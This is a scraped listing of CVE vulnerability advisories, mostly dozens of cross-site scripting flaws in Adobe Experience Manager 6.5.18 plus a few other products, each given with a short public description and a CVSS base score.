CVE-2023-48446	Adobe Experience Manager versions 6.5.18 and earlier are affected by a Cross-site Scripting (DOM-based XSS) vulnerability. If a low-privileged attacker is able to convince a victim to visit a URL referencing a vulnerable page, malicious JavaScript content may be executed within the context of the victim's browser.	5.4	More Details
CVE-2023-48445	Adobe Experience Manager versions 6.5.18 and earlier are affected by a Cross-site Scripting (DOM-based XSS) vulnerability. If a low-privileged attacker is able to convince a victim to visit a URL referencing a vulnerable page, malicious JavaScript content may be executed within the context of the victim's browser.	5.4	More Details
CVE-2023-48444	Adobe Experience Manager versions 6.5.18 and earlier are affected by a stored Cross-Site Scripting (XSS) vulnerability that could be abused by a low-privileged attacker to inject malicious scripts into vulnerable form fields. Malicious JavaScript may be executed in a victim’s browser when they browse to the page containing the vulnerable field.	5.4	More Details
CVE-2023-48443	Adobe Experience Manager versions 6.5.18 and earlier are affected by a reflected Cross-Site Scripting (XSS) vulnerability. If a low-privileged attacker is able to convince a victim to visit a URL referencing a vulnerable page, malicious JavaScript content may be executed within the context of the victim's browser.	5.4	More Details
CVE-2023-48442	Adobe Experience Manager versions 6.5.18 and earlier are affected by a stored Cross-Site Scripting (XSS) vulnerability that could be abused by a low-privileged attacker to inject malicious scripts into vulnerable form fields. Malicious JavaScript may be executed in a victim’s browser when they browse to the page containing the vulnerable field.	5.4	More Details
CVE-2023-48440	Adobe Experience Manager versions 6.5.18 and earlier are affected by a stored Cross-Site Scripting (XSS) vulnerability that could be abused by a low-privileged attacker to inject malicious scripts into vulnerable form fields. Malicious JavaScript may be executed in a victim’s browser when they browse to the page containing the vulnerable field.	5.4	More Details

CVE Number	Description	Base Score	Reference
CVE-2023-47065	Adobe Experience Manager versions 6.5.18 and earlier are affected by a Cross-site Scripting (DOM-based XSS) vulnerability. If a low-privileged attacker is able to convince a victim to visit a URL referencing a vulnerable page, malicious JavaScript content may be executed within the context of the victim's browser.	5.4	More Details
CVE-2023-47064	Adobe Experience Manager versions 6.5.18 and earlier are affected by a stored Cross-Site Scripting (XSS) vulnerability that could be abused by a low-privileged attacker to inject malicious scripts into vulnerable form fields. Malicious JavaScript may be executed in a victim’s browser when they browse to the page containing the vulnerable field.	5.4	More Details
CVE-2023-5769	A vulnerability exists in the webserver that affects the RTU500 series product versions listed below. A malicious actor could perform cross-site scripting on the webserver due to user input being improperly sanitized.	5.4	More Details
CVE-2023-50137	JFinalcms 5.0.0 is vulnerable to Cross Site Scripting (XSS) in the site management office.	5.4	More Details
CVE-2023-50102	JFinalcms 5.0.0 is vulnerable to Cross Site Scripting (XSS).	5.4	More Details
CVE-2023-50101	JFinalcms 5.0.0 is vulnerable to Cross Site Scripting (XSS) via Label management editing.	5.4	More Details
CVE-2023-50100	JFinalcms 5.0.0 is vulnerable to Cross Site Scripting (XSS) via carousel image editing.	5.4	More Details
CVE-2023-50566	A stored cross-site scripting (XSS) vulnerability in EyouCMS-V1.6.5-UTF8-SP1 allows attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the Public Security Registration Number parameter.	5.4	More Details
CVE-2023-50565	A cross-site scripting (XSS) vulnerability in the component /logs/dopost.html in RPCMS v3.5.5 allows attackers to execute arbitrary web scripts or HTML via a crafted payload.	5.4	More Details
CVE-2023-48451	Adobe Experience Manager versions 6.5.18 and earlier are affected by a Cross-site Scripting (DOM-based XSS) vulnerability. If a low-privileged attacker is able to convince a victim to visit a URL referencing a vulnerable page, malicious JavaScript content may be executed within the context of the victim's browser.	5.4	More Details

CVE Number	Description	Base Score	Reference
CVE-2023-48452	Adobe Experience Manager versions 6.5.18 and earlier are affected by a Cross-site Scripting (DOM-based XSS) vulnerability. If a low-privileged attacker is able to convince a victim to visit a URL referencing a vulnerable page, malicious JavaScript content may be executed within the context of the victim's browser.	5.4	More Details
CVE-2023-48453	Adobe Experience Manager versions 6.5.18 and earlier are affected by a Cross-site Scripting (DOM-based XSS) vulnerability. If a low-privileged attacker is able to convince a victim to visit a URL referencing a vulnerable page, malicious JavaScript content may be executed within the context of the victim's browser.	5.4	More Details
CVE-2023-48464	Adobe Experience Manager versions 6.5.18 and earlier are affected by a Cross-site Scripting (DOM-based XSS) vulnerability. If a low-privileged attacker is able to convince a victim to visit a URL referencing a vulnerable page, malicious JavaScript content may be executed within the context of the victim's browser.	5.4	More Details
CVE-2023-48472	Adobe Experience Manager versions 6.5.18 and earlier are affected by a Cross-site Scripting (DOM-based XSS) vulnerability. If a low-privileged attacker is able to convince a victim to visit a URL referencing a vulnerable page, malicious JavaScript content may be executed within the context of the victim's browser.	5.4	More Details
CVE-2023-48471	Adobe Experience Manager versions 6.5.18 and earlier are affected by a Cross-site Scripting (DOM-based XSS) vulnerability. If a low-privileged attacker is able to convince a victim to visit a URL referencing a vulnerable page, malicious JavaScript content may be executed within the context of the victim's browser.	5.4	More Details
CVE-2023-48470	Adobe Experience Manager versions 6.5.18 and earlier are affected by a Cross-site Scripting (DOM-based XSS) vulnerability. If a low-privileged attacker is able to convince a victim to visit a URL referencing a vulnerable page, malicious JavaScript content may be executed within the context of the victim's browser.	5.4	More Details
CVE-2023-48469	Adobe Experience Manager versions 6.5.18 and earlier are affected by a Cross-site Scripting (DOM-based XSS) vulnerability. If a low-privileged attacker is able to convince a victim to visit a URL referencing a vulnerable page, malicious JavaScript content may be executed within the context of the victim's browser.	5.4	More Details

CVE Number	Description	Base Score	Reference
CVE-2023-48468	Adobe Experience Manager versions 6.5.18 and earlier are affected by a Cross-site Scripting (DOM-based XSS) vulnerability. If a low-privileged attacker is able to convince a victim to visit a URL referencing a vulnerable page, malicious JavaScript content may be executed within the context of the victim's browser.	5.4	More Details
CVE-2023-48467	Adobe Experience Manager versions 6.5.18 and earlier are affected by a Cross-site Scripting (DOM-based XSS) vulnerability. If a low-privileged attacker is able to convince a victim to visit a URL referencing a vulnerable page, malicious JavaScript content may be executed within the context of the victim's browser.	5.4	More Details
CVE-2023-48466	Adobe Experience Manager versions 6.5.18 and earlier are affected by a Cross-site Scripting (DOM-based XSS) vulnerability. If a low-privileged attacker is able to convince a victim to visit a URL referencing a vulnerable page, malicious JavaScript content may be executed within the context of the victim's browser.	5.4	More Details
CVE-2023-48465	Adobe Experience Manager versions 6.5.18 and earlier are affected by a Cross-site Scripting (DOM-based XSS) vulnerability. If a low-privileged attacker is able to convince a victim to visit a URL referencing a vulnerable page, malicious JavaScript content may be executed within the context of the victim's browser.	5.4	More Details
CVE-2023-48463	Adobe Experience Manager versions 6.5.18 and earlier are affected by a Cross-site Scripting (DOM-based XSS) vulnerability. If a low-privileged attacker is able to convince a victim to visit a URL referencing a vulnerable page, malicious JavaScript content may be executed within the context of the victim's browser.	5.4	More Details
CVE-2023-48454	Adobe Experience Manager versions 6.5.18 and earlier are affected by a Cross-site Scripting (DOM-based XSS) vulnerability. If a low-privileged attacker is able to convince a victim to visit a URL referencing a vulnerable page, malicious JavaScript content may be executed within the context of the victim's browser.	5.4	More Details
CVE-2023-48462	Adobe Experience Manager versions 6.5.18 and earlier are affected by a Cross-site Scripting (DOM-based XSS) vulnerability. If a low-privileged attacker is able to convince a victim to visit a URL referencing a vulnerable page, malicious JavaScript content may be executed within the context of the victim's browser.	5.4	More Details

CVE Number	Description	Base Score	Reference
CVE-2023-48461	Adobe Experience Manager versions 6.5.18 and earlier are affected by a Cross-site Scripting (DOM-based XSS) vulnerability. If a low-privileged attacker is able to convince a victim to visit a URL referencing a vulnerable page, malicious JavaScript content may be executed within the context of the victim's browser.	5.4	More Details
CVE-2023-48460	Adobe Experience Manager versions 6.5.18 and earlier are affected by a Cross-site Scripting (DOM-based XSS) vulnerability. If a low-privileged attacker is able to convince a victim to visit a URL referencing a vulnerable page, malicious JavaScript content may be executed within the context of the victim's browser.	5.4	More Details
CVE-2023-48459	Adobe Experience Manager versions 6.5.18 and earlier are affected by a Cross-site Scripting (DOM-based XSS) vulnerability. If a low-privileged attacker is able to convince a victim to visit a URL referencing a vulnerable page, malicious JavaScript content may be executed within the context of the victim's browser.	5.4	More Details
CVE-2023-48458	Adobe Experience Manager versions 6.5.18 and earlier are affected by a Cross-site Scripting (DOM-based XSS) vulnerability. If a low-privileged attacker is able to convince a victim to visit a URL referencing a vulnerable page, malicious JavaScript content may be executed within the context of the victim's browser.	5.4	More Details
CVE-2023-48457	Adobe Experience Manager versions 6.5.18 and earlier are affected by a Cross-site Scripting (DOM-based XSS) vulnerability. If a low-privileged attacker is able to convince a victim to visit a URL referencing a vulnerable page, malicious JavaScript content may be executed within the context of the victim's browser.	5.4	More Details
CVE-2023-48456	Adobe Experience Manager versions 6.5.18 and earlier are affected by a Cross-site Scripting (DOM-based XSS) vulnerability. If a low-privileged attacker is able to convince a victim to visit a URL referencing a vulnerable page, malicious JavaScript content may be executed within the context of the victim's browser.	5.4	More Details
CVE-2023-48455	Adobe Experience Manager versions 6.5.18 and earlier are affected by a reflected Cross-Site Scripting (XSS) vulnerability. If a low-privileged attacker is able to convince a victim to visit a URL referencing a vulnerable page, malicious JavaScript content may be executed within the context of the victim's browser.	5.4	More Details

CVE Number	Description	Base Score	Reference
CVE-2023-48519	Adobe Experience Manager versions 6.5.18 and earlier are affected by a stored Cross-Site Scripting (XSS) vulnerability that could be abused by a low-privileged attacker to inject malicious scripts into vulnerable form fields. Malicious JavaScript may be executed in a victim's browser when they browse to the page containing the vulnerable field.	5.4	More Details
CVE-2023-48514	Adobe Experience Manager versions 6.5.18 and earlier are affected by a stored Cross-Site Scripting (XSS) vulnerability that could be abused by a low-privileged attacker to inject malicious scripts into vulnerable form fields. Malicious JavaScript may be executed in a victim's browser when they browse to the page containing the vulnerable field.	5.4	More Details
CVE-2023-48538	Adobe Experience Manager versions 6.5.18 and earlier are affected by a stored Cross-Site Scripting (XSS) vulnerability that could be abused by a low-privileged attacker to inject malicious scripts into vulnerable form fields. Malicious JavaScript may be executed in a victim's browser when they browse to the page containing the vulnerable field.	5.4	More Details
CVE-2023-48533	Adobe Experience Manager versions 6.5.18 and earlier are affected by a stored Cross-Site Scripting (XSS) vulnerability that could be abused by a low-privileged attacker to inject malicious scripts into vulnerable form fields. Malicious JavaScript may be executed in a victim's browser when they browse to the page containing the vulnerable field.	5.4	More Details
CVE-2023-48553	Adobe Experience Manager versions 6.5.18 and earlier are affected by a stored Cross-Site Scripting (XSS) vulnerability that could be abused by a low-privileged attacker to inject malicious scripts into vulnerable form fields. Malicious JavaScript may be executed in a victim's browser when they browse to the page containing the vulnerable field.	5.4	More Details
CVE-2023-48552	Adobe Experience Manager versions 6.5.18 and earlier are affected by a stored Cross-Site Scripting (XSS) vulnerability that could be abused by a low-privileged attacker to inject malicious scripts into vulnerable form fields. Malicious JavaScript may be executed in a victim's browser when they browse to the page containing the vulnerable field.	5.4	More Details
CVE-2023-48551	Adobe Experience Manager versions 6.5.18 and earlier are affected by a stored Cross-Site Scripting (XSS) vulnerability that could be abused by a low-privileged attacker to inject malicious scripts into vulnerable form fields. Malicious JavaScript may be executed in a victim's browser when they browse to the page containing the vulnerable field.	5.4	More Details

CVE Number	Description	Base Score	Reference
CVE-2023-48580	Adobe Experience Manager versions 6.5.18 and earlier are affected by a stored Cross-Site Scripting (XSS) vulnerability that could be abused by a low-privileged attacker to inject malicious scripts into vulnerable form fields. Malicious JavaScript may be executed in a victim's browser when they browse to the page containing the vulnerable field.	5.4	More Details
CVE-2023-48550	Adobe Experience Manager versions 6.5.18 and earlier are affected by a stored Cross-Site Scripting (XSS) vulnerability that could be abused by a low-privileged attacker to inject malicious scripts into vulnerable form fields. Malicious JavaScript may be executed in a victim's browser when they browse to the page containing the vulnerable field.	5.4	More Details
CVE-2023-48549	Adobe Experience Manager versions 6.5.18 and earlier are affected by a stored Cross-Site Scripting (XSS) vulnerability that could be abused by a low-privileged attacker to inject malicious scripts into vulnerable form fields. Malicious JavaScript may be executed in a victim's browser when they browse to the page containing the vulnerable field.	5.4	More Details
CVE-2023-48548	Adobe Experience Manager versions 6.5.18 and earlier are affected by a stored Cross-Site Scripting (XSS) vulnerability that could be abused by a low-privileged attacker to inject malicious scripts into vulnerable form fields. Malicious JavaScript may be executed in a victim's browser when they browse to the page containing the vulnerable field.	5.4	More Details
CVE-2023-48547	Adobe Experience Manager versions 6.5.18 and earlier are affected by a stored Cross-Site Scripting (XSS) vulnerability that could be abused by a low-privileged attacker to inject malicious scripts into vulnerable form fields. Malicious JavaScript may be executed in a victim's browser when they browse to the page containing the vulnerable field.	5.4	More Details
CVE-2023-48546	Adobe Experience Manager versions 6.5.18 and earlier are affected by a stored Cross-Site Scripting (XSS) vulnerability that could be abused by a low-privileged attacker to inject malicious scripts into vulnerable form fields. Malicious JavaScript may be executed in a victim's browser when they browse to the page containing the vulnerable field.	5.4	More Details
CVE-2023-48545	Adobe Experience Manager versions 6.5.18 and earlier are affected by a stored Cross-Site Scripting (XSS) vulnerability that could be abused by a low-privileged attacker to inject malicious scripts into vulnerable form fields. Malicious JavaScript may be executed in a victim's browser when they browse to the page containing the vulnerable field.	5.4	More Details

CVE Number	Description	Base Score	Reference
CVE-2023-48544	Adobe Experience Manager versions 6.5.18 and earlier are affected by a stored Cross-Site Scripting (XSS) vulnerability that could be abused by a low-privileged attacker to inject malicious scripts into vulnerable form fields. Malicious JavaScript may be executed in a victim’s browser when they browse to the page containing the vulnerable field.	5.4	More Details
CVE-2023-48543	Adobe Experience Manager versions 6.5.18 and earlier are affected by a stored Cross-Site Scripting (XSS) vulnerability that could be abused by a low-privileged attacker to inject malicious scripts into vulnerable form fields. Malicious JavaScript may be executed in a victim’s browser when they browse to the page containing the vulnerable field.	5.4	More Details
CVE-2023-48542	Adobe Experience Manager versions 6.5.18 and earlier are affected by a stored Cross-Site Scripting (XSS) vulnerability that could be abused by a low-privileged attacker to inject malicious scripts into vulnerable form fields. Malicious JavaScript may be executed in a victim’s browser when they browse to the page containing the vulnerable field.	5.4	More Details
CVE-2023-48581	Adobe Experience Manager versions 6.5.18 and earlier are affected by a stored Cross-Site Scripting (XSS) vulnerability that could be abused by a low-privileged attacker to inject malicious scripts into vulnerable form fields. Malicious JavaScript may be executed in a victim’s browser when they browse to the page containing the vulnerable field.	5.4	More Details
CVE-2023-48541	Adobe Experience Manager versions 6.5.18 and earlier are affected by a Cross-site Scripting (DOM-based XSS) vulnerability. If a low-privileged attacker is able to convince a victim to visit a URL referencing a vulnerable page, malicious JavaScript content may be executed within the context of the victim's browser.	5.4	More Details
CVE-2023-48540	Adobe Experience Manager versions 6.5.18 and earlier are affected by a stored Cross-Site Scripting (XSS) vulnerability that could be abused by a low-privileged attacker to inject malicious scripts into vulnerable form fields. Malicious JavaScript may be executed in a victim’s browser when they browse to the page containing the vulnerable field.	5.4	More Details
CVE-2023-48539	Adobe Experience Manager versions 6.5.18 and earlier are affected by a Cross-site Scripting (DOM-based XSS) vulnerability. If a low-privileged attacker is able to convince a victim to visit a URL referencing a vulnerable page, malicious JavaScript content may be executed within the context of the victim's browser.	5.4	More Details

CVE Number	Description	Base Score	Reference
CVE-2023-48573	Adobe Experience Manager versions 6.5.18 and earlier are affected by a stored Cross-Site Scripting (XSS) vulnerability that could be abused by a low-privileged attacker to inject malicious scripts into vulnerable form fields. Malicious JavaScript may be executed in a victim’s browser when they browse to the page containing the vulnerable field.	5.4	More Details
CVE-2023-48537	Adobe Experience Manager versions 6.5.18 and earlier are affected by a stored Cross-Site Scripting (XSS) vulnerability that could be abused by a low-privileged attacker to inject malicious scripts into vulnerable form fields. Malicious JavaScript may be executed in a victim’s browser when they browse to the page containing the vulnerable field.	5.4	More Details
CVE-2023-48536	Adobe Experience Manager versions 6.5.18 and earlier are affected by a Cross-site Scripting (DOM-based XSS) vulnerability. If a low-privileged attacker is able to convince a victim to visit a URL referencing a vulnerable page, malicious JavaScript content may be executed within the context of the victim's browser.	5.4	More Details
CVE-2023-48535	Adobe Experience Manager versions 6.5.18 and earlier are affected by a Cross-site Scripting (DOM-based XSS) vulnerability. If a low-privileged attacker is able to convince a victim to visit a URL referencing a vulnerable page, malicious JavaScript content may be executed within the context of the victim's browser.	5.4	More Details
CVE-2023-48554	Adobe Experience Manager versions 6.5.18 and earlier are affected by a stored Cross-Site Scripting (XSS) vulnerability that could be abused by a low-privileged attacker to inject malicious scripts into vulnerable form fields. Malicious JavaScript may be executed in a victim’s browser when they browse to the page containing the vulnerable field.	5.4	More Details
CVE-2023-48555	Adobe Experience Manager versions 6.5.18 and earlier are affected by a stored Cross-Site Scripting (XSS) vulnerability that could be abused by a low-privileged attacker to inject malicious scripts into vulnerable form fields. Malicious JavaScript may be executed in a victim’s browser when they browse to the page containing the vulnerable field.	5.4	More Details
CVE-2023-48556	Adobe Experience Manager versions 6.5.18 and earlier are affected by a Cross-site Scripting (DOM-based XSS) vulnerability. If a low-privileged attacker is able to convince a victim to visit a URL referencing a vulnerable page, malicious JavaScript content may be executed within the context of the victim's browser.	5.4	More Details

CVE Number	Description	Base Score	Reference
CVE-2023-48564	Adobe Experience Manager versions 6.5.18 and earlier are affected by a stored Cross-Site Scripting (XSS) vulnerability that could be abused by a low-privileged attacker to inject malicious scripts into vulnerable form fields. Malicious JavaScript may be executed in a victim's browser when they browse to the page containing the vulnerable field.	5.4	More Details
CVE-2023-48574	Adobe Experience Manager versions 6.5.18 and earlier are affected by a stored Cross-Site Scripting (XSS) vulnerability that could be abused by a low-privileged attacker to inject malicious scripts into vulnerable form fields. Malicious JavaScript may be executed in a victim's browser when they browse to the page containing the vulnerable field.	5.4	More Details
CVE-2023-48575	Adobe Experience Manager versions 6.5.18 and earlier are affected by a stored Cross-Site Scripting (XSS) vulnerability that could be abused by a low-privileged attacker to inject malicious scripts into vulnerable form fields. Malicious JavaScript may be executed in a victim's browser when they browse to the page containing the vulnerable field.	5.4	More Details
CVE-2023-48571	Adobe Experience Manager versions 6.5.18 and earlier are affected by a stored Cross-Site Scripting (XSS) vulnerability that could be abused by a low-privileged attacker to inject malicious scripts into vulnerable form fields. Malicious JavaScript may be executed in a victim's browser when they browse to the page containing the vulnerable field.	5.4	More Details
CVE-2023-48570	Adobe Experience Manager versions 6.5.18 and earlier are affected by a stored Cross-Site Scripting (XSS) vulnerability that could be abused by a low-privileged attacker to inject malicious scripts into vulnerable form fields. Malicious JavaScript may be executed in a victim's browser when they browse to the page containing the vulnerable field.	5.4	More Details
CVE-2023-48569	Adobe Experience Manager versions 6.5.18 and earlier are affected by a stored Cross-Site Scripting (XSS) vulnerability that could be abused by a low-privileged attacker to inject malicious scripts into vulnerable form fields. Malicious JavaScript may be executed in a victim's browser when they browse to the page containing the vulnerable field.	5.4	More Details
CVE-2023-48568	Adobe Experience Manager versions 6.5.18 and earlier are affected by a Cross-site Scripting (DOM-based XSS) vulnerability. If a low-privileged attacker is able to convince a victim to visit a URL referencing a vulnerable page, malicious JavaScript content may be executed within the context of the victim's browser.	5.4	More Details

CVE Number	Description	Base Score	Reference
CVE-2023-48567	Adobe Experience Manager versions 6.5.18 and earlier are affected by a Cross-site Scripting (DOM-based XSS) vulnerability. If a low-privileged attacker is able to convince a victim to visit a URL referencing a vulnerable page, malicious JavaScript content may be executed within the context of the victim's browser.	5.4	More Details
CVE-2023-48566	Adobe Experience Manager versions 6.5.18 and earlier are affected by a Cross-site Scripting (DOM-based XSS) vulnerability. If a low-privileged attacker is able to convince a victim to visit a URL referencing a vulnerable page, malicious JavaScript content may be executed within the context of the victim's browser.	5.4	More Details
CVE-2023-48565	Adobe Experience Manager versions 6.5.18 and earlier are affected by a Cross-site Scripting (DOM-based XSS) vulnerability. If a low-privileged attacker is able to convince a victim to visit a URL referencing a vulnerable page, malicious JavaScript content may be executed within the context of the victim's browser.	5.4	More Details
CVE-2023-48563	Adobe Experience Manager versions 6.5.18 and earlier are affected by a stored Cross-Site Scripting (XSS) vulnerability that could be abused by a low-privileged attacker to inject malicious scripts into vulnerable form fields. Malicious JavaScript may be executed in a victim’s browser when they browse to the page containing the vulnerable field.	5.4	More Details
CVE-2023-48579	Adobe Experience Manager versions 6.5.18 and earlier are affected by a stored Cross-Site Scripting (XSS) vulnerability that could be abused by a low-privileged attacker to inject malicious scripts into vulnerable form fields. Malicious JavaScript may be executed in a victim’s browser when they browse to the page containing the vulnerable field.	5.4	More Details
CVE-2023-48576	Adobe Experience Manager versions 6.5.18 and earlier are affected by a stored Cross-Site Scripting (XSS) vulnerability that could be abused by a low-privileged attacker to inject malicious scripts into vulnerable form fields. Malicious JavaScript may be executed in a victim’s browser when they browse to the page containing the vulnerable field.	5.4	More Details
CVE-2023-48562	Adobe Experience Manager versions 6.5.18 and earlier are affected by a stored Cross-Site Scripting (XSS) vulnerability that could be abused by a low-privileged attacker to inject malicious scripts into vulnerable form fields. Malicious JavaScript may be executed in a victim’s browser when they browse to the page containing the vulnerable field.	5.4	More Details

CVE Number	Description	Base Score	Reference
CVE-2023-48577	Adobe Experience Manager versions 6.5.18 and earlier are affected by a stored Cross-Site Scripting (XSS) vulnerability that could be abused by a low-privileged attacker to inject malicious scripts into vulnerable form fields. Malicious JavaScript may be executed in a victim's browser when they browse to the page containing the vulnerable field.	5.4	More Details
CVE-2023-48561	Adobe Experience Manager versions 6.5.18 and earlier are affected by a stored Cross-Site Scripting (XSS) vulnerability that could be abused by a low-privileged attacker to inject malicious scripts into vulnerable form fields. Malicious JavaScript may be executed in a victim's browser when they browse to the page containing the vulnerable field.	5.4	More Details
CVE-2023-48560	Adobe Experience Manager versions 6.5.18 and earlier are affected by a stored Cross-Site Scripting (XSS) vulnerability that could be abused by a low-privileged attacker to inject malicious scripts into vulnerable form fields. Malicious JavaScript may be executed in a victim's browser when they browse to the page containing the vulnerable field.	5.4	More Details
CVE-2023-48578	Adobe Experience Manager versions 6.5.18 and earlier are affected by a stored Cross-Site Scripting (XSS) vulnerability that could be abused by a low-privileged attacker to inject malicious scripts into vulnerable form fields. Malicious JavaScript may be executed in a victim's browser when they browse to the page containing the vulnerable field.	5.4	More Details
CVE-2023-48559	Adobe Experience Manager versions 6.5.18 and earlier are affected by a stored Cross-Site Scripting (XSS) vulnerability that could be abused by a low-privileged attacker to inject malicious scripts into vulnerable form fields. Malicious JavaScript may be executed in a victim's browser when they browse to the page containing the vulnerable field.	5.4	More Details
CVE-2023-48558	Adobe Experience Manager versions 6.5.18 and earlier are affected by a stored Cross-Site Scripting (XSS) vulnerability that could be abused by a low-privileged attacker to inject malicious scripts into vulnerable form fields. Malicious JavaScript may be executed in a victim's browser when they browse to the page containing the vulnerable field.	5.4	More Details
CVE-2023-48557	Adobe Experience Manager versions 6.5.18 and earlier are affected by a stored Cross-Site Scripting (XSS) vulnerability that could be abused by a low-privileged attacker to inject malicious scripts into vulnerable form fields. Malicious JavaScript may be executed in a victim's browser when they browse to the page containing the vulnerable field.	5.4	More Details

CVE Number	Description	Base Score	Reference
CVE-2023-48534	Adobe Experience Manager versions 6.5.18 and earlier are affected by a stored Cross-Site Scripting (XSS) vulnerability that could be abused by a low-privileged attacker to inject malicious scripts into vulnerable form fields. Malicious JavaScript may be executed in a victim’s browser when they browse to the page containing the vulnerable field.	5.4	More Details
CVE-2023-48572	Adobe Experience Manager versions 6.5.18 and earlier are affected by a stored Cross-Site Scripting (XSS) vulnerability that could be abused by a low-privileged attacker to inject malicious scripts into vulnerable form fields. Malicious JavaScript may be executed in a victim’s browser when they browse to the page containing the vulnerable field.	5.4	More Details
CVE-2023-48525	Adobe Experience Manager versions 6.5.18 and earlier are affected by a Cross-site Scripting (DOM-based XSS) vulnerability. If a low-privileged attacker is able to convince a victim to visit a URL referencing a vulnerable page, malicious JavaScript content may be executed within the context of the victim's browser.	5.4	More Details
CVE-2023-48582	Adobe Experience Manager versions 6.5.18 and earlier are affected by a stored Cross-Site Scripting (XSS) vulnerability that could be abused by a low-privileged attacker to inject malicious scripts into vulnerable form fields. Malicious JavaScript may be executed in a victim’s browser when they browse to the page containing the vulnerable field.	5.4	More Details
CVE-2023-48587	Adobe Experience Manager versions 6.5.18 and earlier are affected by a Cross-site Scripting (DOM-based XSS) vulnerability. If a low-privileged attacker is able to convince a victim to visit a URL referencing a vulnerable page, malicious JavaScript content may be executed within the context of the victim's browser.	5.4	More Details
CVE-2023-48586	Adobe Experience Manager versions 6.5.18 and earlier are affected by a stored Cross-Site Scripting (XSS) vulnerability that could be abused by a low-privileged attacker to inject malicious scripts into vulnerable form fields. Malicious JavaScript may be executed in a victim’s browser when they browse to the page containing the vulnerable field.	5.4	More Details
CVE-2023-48526	Adobe Experience Manager versions 6.5.18 and earlier are affected by a reflected Cross-Site Scripting (XSS) vulnerability. If a low-privileged attacker is able to convince a victim to visit a URL referencing a vulnerable page, malicious JavaScript content may be executed within the context of the victim's browser.	5.4	More Details

CVE Number	Description	Base Score	Reference
CVE-2023-48522	Adobe Experience Manager versions 6.5.18 and earlier are affected by a stored Cross-Site Scripting (XSS) vulnerability that could be abused by a low-privileged attacker to inject malicious scripts into vulnerable form fields. Malicious JavaScript may be executed in a victim's browser when they browse to the page containing the vulnerable field.	5.4	More Details
CVE-2023-48523	Adobe Experience Manager versions 6.5.18 and earlier are affected by a stored Cross-Site Scripting (XSS) vulnerability that could be abused by a low-privileged attacker to inject malicious scripts into vulnerable form fields. Malicious JavaScript may be executed in a victim's browser when they browse to the page containing the vulnerable field.	5.4	More Details
CVE-2023-48528	Adobe Experience Manager versions 6.5.18 and earlier are affected by a Cross-site Scripting (DOM-based XSS) vulnerability. If a low-privileged attacker is able to convince a victim to visit a URL referencing a vulnerable page, malicious JavaScript content may be executed within the context of the victim's browser.	5.4	More Details
CVE-2023-48529	Adobe Experience Manager versions 6.5.18 and earlier are affected by a stored Cross-Site Scripting (XSS) vulnerability that could be abused by a low-privileged attacker to inject malicious scripts into vulnerable form fields. Malicious JavaScript may be executed in a victim's browser when they browse to the page containing the vulnerable field.	5.4	More Details
CVE-2023-48585	Adobe Experience Manager versions 6.5.18 and earlier are affected by a stored Cross-Site Scripting (XSS) vulnerability that could be abused by a low-privileged attacker to inject malicious scripts into vulnerable form fields. Malicious JavaScript may be executed in a victim's browser when they browse to the page containing the vulnerable field.	5.4	More Details
CVE-2023-48530	Adobe Experience Manager versions 6.5.18 and earlier are affected by a stored Cross-Site Scripting (XSS) vulnerability that could be abused by a low-privileged attacker to inject malicious scripts into vulnerable form fields. Malicious JavaScript may be executed in a victim's browser when they browse to the page containing the vulnerable field.	5.4	More Details
CVE-2023-48584	Adobe Experience Manager versions 6.5.18 and earlier are affected by a stored Cross-Site Scripting (XSS) vulnerability that could be abused by a low-privileged attacker to inject malicious scripts into vulnerable form fields. Malicious JavaScript may be executed in a victim's browser when they browse to the page containing the vulnerable field.	5.4	More Details

CVE Number	Description	Base Score	Reference
CVE-2023-48583	Adobe Experience Manager versions 6.5.18 and earlier are affected by a Cross-site Scripting (DOM-based XSS) vulnerability. If a low-privileged attacker is able to convince a victim to visit a URL referencing a vulnerable page, malicious JavaScript content may be executed within the context of the victim's browser.	5.4	More Details
CVE-2023-48531	Adobe Experience Manager versions 6.5.18 and earlier are affected by a stored Cross-Site Scripting (XSS) vulnerability that could be abused by a low-privileged attacker to inject malicious scripts into vulnerable form fields. Malicious JavaScript may be executed in a victim’s browser when they browse to the page containing the vulnerable field.	5.4	More Details
CVE-2023-48527	Adobe Experience Manager versions 6.5.18 and earlier are affected by a stored Cross-Site Scripting (XSS) vulnerability that could be abused by a low-privileged attacker to inject malicious scripts into vulnerable form fields. Malicious JavaScript may be executed in a victim’s browser when they browse to the page containing the vulnerable field.	5.4	More Details
CVE-2023-48524	Adobe Experience Manager versions 6.5.18 and earlier are affected by a stored Cross-Site Scripting (XSS) vulnerability that could be abused by a low-privileged attacker to inject malicious scripts into vulnerable form fields. Malicious JavaScript may be executed in a victim’s browser when they browse to the page containing the vulnerable field.	5.4	More Details
CVE-2023-48521	Adobe Experience Manager versions 6.5.18 and earlier are affected by a stored Cross-Site Scripting (XSS) vulnerability that could be abused by a low-privileged attacker to inject malicious scripts into vulnerable form fields. Malicious JavaScript may be executed in a victim’s browser when they browse to the page containing the vulnerable field.	5.4	More Details
CVE-2023-48532	Adobe Experience Manager versions 6.5.18 and earlier are affected by a Cross-site Scripting (DOM-based XSS) vulnerability. If a low-privileged attacker is able to convince a victim to visit a URL referencing a vulnerable page, malicious JavaScript content may be executed within the context of the victim's browser.	5.4	More Details
CVE-2023-49812	Authorization Bypass Through User-Controlled Key vulnerability in J.N. Breetvelt a.K.A. OpaJaap WP Photo Album Plus.This issue affects WP Photo Album Plus: from n/a through 8.5.02.005.	5.3	More Details
CVE-2023-44983	Exposure of Sensitive Information to an Unauthorized Actor vulnerability in Aruba.It Aruba HiSpeed Cache.This issue affects Aruba HiSpeed Cache: from n/a through 2.0.6.	5.3	More Details

CVE Number	Description	Base Score	Reference
CVE-2023-48631	@adobe/css-tools versions 4.3.1 and earlier are affected by an Improper Input Validation vulnerability that could result in a denial of service while attempting to parse CSS.	5.3	More Details
CVE-2023-46713	An improper output neutralization for logs in Fortinet FortiWeb 6.2.0 - 6.2.8, 6.3.0 - 6.3.23, 7.0.0 - 7.0.9, 7.2.0 - 7.2.5 and 7.4.0 may allow an attacker to forge traffic logs via a crafted URL of the web application.	5.3	More Details
CVE-2023-47741	IBM i 7.3, 7.4, 7.5, IBM i Db2 Mirror for i 7.4 and 7.5 web browser clients may leave clear-text passwords in browser memory that can be viewed using common browser tools before the memory is garbage collected. A malicious actor with access to the victim's PC could exploit this vulnerability to gain access to the IBM i operating system. IBM X-Force ID: 272532.	5.3	More Details
